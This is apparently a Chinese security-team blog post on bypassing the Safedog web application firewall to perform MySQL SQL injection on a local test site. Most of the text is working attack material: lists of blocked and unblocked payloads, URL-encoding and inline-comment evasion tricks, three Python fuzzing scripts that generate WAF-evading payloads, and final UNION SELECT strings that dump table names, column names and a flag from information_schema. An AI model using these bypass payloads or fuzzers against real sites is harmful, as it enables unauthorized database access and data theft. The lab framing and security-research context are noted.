微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们
前言
基于前两篇文件上传Bypass的感悟,现在想来试试SQL注入的Bypass。为此,我还特地去要了MySql官方的中文手册,打算从中找不同。
现在的大型站点对于SQL注入这类漏洞,策略做的很好。基本上很难找到注入点,那种小公司小cms除外。但是挖到就是赚到嘛,Bypass也是要研究的。
对于MySql我原本打算利用已有函数尝试去对字符修改执行啥的,结果发现压根就不行,不会被解析。(下面内容有发现转折点,是可以被解析的)故此,只能根据已有轮子造轮子,但是我还是想自己琢磨琢磨,且先看我说些废话。
测试过程(and,or,xor)
实验代码为字符型注入
1'and -- ' 不拦
2'and 1-- ' 拦截
3'and/*//*/1=1-- ' 不拦*
4'or -- ' 不拦
5'or 1 -- ' 拦截
6'xor -- ' 不拦
7'xor 1-- ' 拦截
由此可知,一旦我们用数字和关键字
组合就会触发检测机制。
通过查看mysql manual 8.0 内置函数和运算符参考篇章,了解到and
,or
,xor
有对应的字符集(虽然我一直都知道,但是假装认真严谨)。
参考连接:
https://dev.mysql.com/doc/refman/8.0/en/built-in-function-reference.html
1’& -- ' 不拦
2'& 1-- ' 拦截
3'&true -- ' 拦截
4'| -- ' 不拦
5'| 1-- ' 拦截
6'|true -- ' 不拦*
7'|true=true -- ' 不拦*
8'^ -- ' 不拦
9'^ 0 -- ' 不拦*
10'^true-- ' 不拦*
11'^true=true -- ' 不拦*
经过测试发现🐕对字符和数字检测没有很严谨,还是出现了很多可以绕过的情况。
根据http的解析特性,我们可以对特殊字符进行url编码
1& ==> %26
2| ==> %7C
3^ ==> %5E
4
5'%26 1-- ' 拦截
6'%26 TRUE-- ' 拦截
7'%7C 1-- ' 拦截
8'%7Ctrue-- ' 不拦*
9'%5E 0-- ' 不拦*
10'%5E false-- ' 不拦*
利用URL编码字符+内置函数判断
测试来测试去的,发现url编码+函数可以让函数被解析
,我的mysql版本为5.7,8.0的某些函数无法使用,我就测试了一些,并且有些函数是无法解析的。函数很多,测完头都秃了。
1'%26ABS(1)-- ' 不拦* # ABS() 取绝对值 取值范围:0,1
2'%26ACOS(-1)-- ' 不拦* # ACOS() 反余弦 取值范围:-1~1 ==> 1=0 -1=Π
3'%26(ASCII(0))-- ' 不拦* # ASCII() 返回最左边字符的数值 取值范围:0,1
4'%26(cos(0.5))-- ' 不拦* # cos() 余弦 取值范围:cos(0.5) 正常 cos(0.5)*0 不正常
5'%26(hex(0x00))-- ' 不拦* # hex() 16进制编码 取值范围:0x01,0x00
6'%26(IF(1<0,1,0))-- ' 不拦* # if() 条件判断 取值范围:> <
就先测试这么多把,剩下的测试我会发在自己的星球里面
吹一下,我的星球都是我自己的技术学习的过程和总结,我感觉是有点东西的。价格不贵也就66
元。进过星球的我都问了,内容都有认可的,也不算割韭菜了。如果想白嫖的话,就看公众号吧(是恒恒呐
、渊龙Sec安全团队
、是小齐哦
),我随缘发两篇,或者看其他大佬的文章,我只是个弟弟。
MySql中的注释
1# :从一个#字符到行尾。
2
3-- :从一个-- 序列到行尾。在 MySQL 中,-- (双破折号)注释样式要求第二个破折号后跟至少一个空格或控制字符(例如空格、制表符、换行符等)。
4
5/**/ :从一个/*序列到下面的 */序列,就像在 C 编程语言中一样。此语法使注释可以扩展到多行,因为开始和结束序列不必在同一行。
6
7/*!*/ : MySQL 服务器支持 C 风格注释的某些变体(内联注释),如果在! 字符后添加版本号,则仅当 MySQL 版本大于或等于指定的版本号时,才会执行注释中的语法。以下注释中的KEY_BLOCK_SIZE关键字仅由 MySQL 5.1.10 或更高版本的服务器执行:
8 CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */;
URL空白字符
1%09 %0a %0b %0c %0d %20
order by
1'order -- ' 不拦截
2'order by -- ' 拦截
order by的组合会触发安全狗的机制
尝试对order或者by或者空格做处理。
Fuzz代码如下
1import requests
2import string
3s1 = '/*!'
4s2 = '/*'
5s3 = '*/'
6url = 'http://127.0.0.1/f/index.php?id=1''
7f = open('result.txt', 'w+')
8for j in string.printable:
9 for i in range(1,10):
10 resp = requests.get(f'{url}order{s2}{i*j}{s3}by 5 -- '', timeout=5)
11 resp.encoding = 'utf8'
12 if "用户名" in resp.text:
13 f.write(f'{url}order{s2}{i*j}{s3}by 5 -- 'n')
14 print(f'{url}order{s2}{i*j}{s3}by 5 --'')
15f.close()
16
根据fuzz后给的payload,可以发现注释符里加/
不论多少都能够绕过安全狗
union select
按照上面的思路继续测试,发现被拦截了
那这里我们尝试用上内联注释继续Fuzz
1import requests
2from concurrent.futures import ThreadPoolExecutor
3
4s1 = '/*!'
5s2 = '/*'
6s3 = '*/'
7url = 'http://127.0.0.1/f/index.php?id=1'^1 '
8f = open('union.txt', 'w+')
9
10def fuzz(num):
11 payload_url = f'{url}union/*//*/{s1}{num}select{s3}1,2,3,4,5 -- ''
12 resp = requests.get(payload_url, timeout=5)
13 resp.encoding = 'utf8'
14 if "用户名" in resp.text:
15 f.write(payload_url+'n')
16 print(f'success: {payload_url}')
17 else:
18 print(f'error: {payload_url}')
19
20if __name__ == '__main__':
21 with ThreadPoolExecutor(50) as t:
22 for i in range(50000,60000):
23 t.submit(fuzz, i)
24 f.close()
25
fuzz后可以发现有16条可用payload,尝试获取信息。
常规database()
、version()
、user()
被检测,继续fuzz
fuzz大法果然妙~
1import requests
2from concurrent.futures import ThreadPoolExecutor
3
4s1 = '/*!'
5s2 = '/*'
6s3 = '*/'
7url = 'http://127.0.0.1/f/index.php?id=1'^1 '
8f = open('func.txt', 'w+')
9
10func = ['database', 'user', 'version'] # 要检测的函数
11
12spechar = ['/*/*/', '/*!50644%0a*/', '/*!50443%0b'] # 自己添加特殊字符fuzz,绕过空格
13
14def fuzz(func, spechar):
15 payload_url = f'{url}union/*//*//*!50644select*/1,2,{func}({spechar}),4,5 -- ''
16 resp = requests.get(payload_url, timeout=5)
17 resp.encoding = 'utf8'
18 if "用户名" in resp.text:
19 f.write(payload_url+'n')
20 print(f'success: {payload_url}')
21 else:
22 print(f'error: {payload_url}')
23
24if __name__ == '__main__':
25 with ThreadPoolExecutor(50) as t:
26 for i in range(len(func)):
27 for j in range(len(spechar)):
28 t.submit(fuzz, func[i], spechar[j])
29 f.close()
30
版本号没fuzz处成功的,懒得加payload了,可以自己添加继续fuzz
经过测试,查表语句🐕检测的是from后的表名,对table_name
等关键字没有检测,继续fuzz。
此处过去十分漫长的时间…
特殊字符的运用
经过长时间的测试以及看了大佬的文章,发现特殊字符也有门道。
首先,我从pystring
模块提取了特殊字符的列表,然后加入了payload中测试。发现#
后面的特殊字符被截断了,删除井号之后被检测,那就意味着只要我们能够带上#(%23)
就可以让语句正常显示,不被检测,把这一部分注释了就好了。
1import requests
2from concurrent.futures import ThreadPoolExecutor
3import string
4
5s1 = '/*!50644'
6s2 = '/*'
7s3 = '*/'
8s4 = '!'
9url = 'http://127.0.0.1/f/index.php?id=1'^1 union/*//*//*!50644select*/1,2,group_concat(table_name),4,5 from%09'
10f = open('schema.txt', 'w+')
11fuzz_func = ["IF(1>0, %23,%23)","REGEXP "[%23]"", "REGEXP_INSTR(%23, 'dog')"] # 剩下的函数自己添加吧,太多了。
12
13def fuzz(fuzz):
14 payload_url = f'{url}({s2}{fuzz}{s3}%0a{s1}{s2}{s4}information_schema.tables%0a{s3}) -- ''
15 resp = requests.get(payload_url, timeout=5)
16 resp.encoding = 'utf8'
17 if "用户名" in resp.text:
18 f.write(payload_url+'n')
19 print(f'success: {payload_url}n')
20 else:
21 print(f'error: {payload_url}n')
22
23if __name__ == '__main__':
24 with ThreadPoolExecutor(50) as t:
25 for i in range(len(fuzz_func)):
26 t.submit(fuzz, fuzz_func[i])
27 f.close()
温馨提示:group_concat
最大长度限制为1024!
拿到当前数据表名,后就可以开始抓字段了,其实到这里差不多就结束了。
1'^1 union/*//*//*!50644select*/1,2,group_concat(table_name),4,5 from%09(/*REGEXP "[%23]"*/%0a/*!50644/*!information_schema.tables%0a*/) where table_schema=database(/*//*/)-- '
那字段值,爆出来后我直接拿flag好了。
1'^1 union/*//*//*!50644select*/1,2,group_concat(column_name),4,5 from%09(/*REGEXP "[%23]"*/%0a/*!50644/*!information_schema.columns%0a*/) where table_schema=database(/*//*/)-- '
1'^1 union/*//*//*!50644select*/1,2,group_concat(flag),4,5 from/*/*/flag-- '
到这里bypass 安全狗就结束了
做了一整天,之前都没接触过过Waf,收获很多,思路大开
我的星球二维码
我是ILU,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!
原文始发于微信公众号(渊龙Sec安全团队):SQL注入 Bypass
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论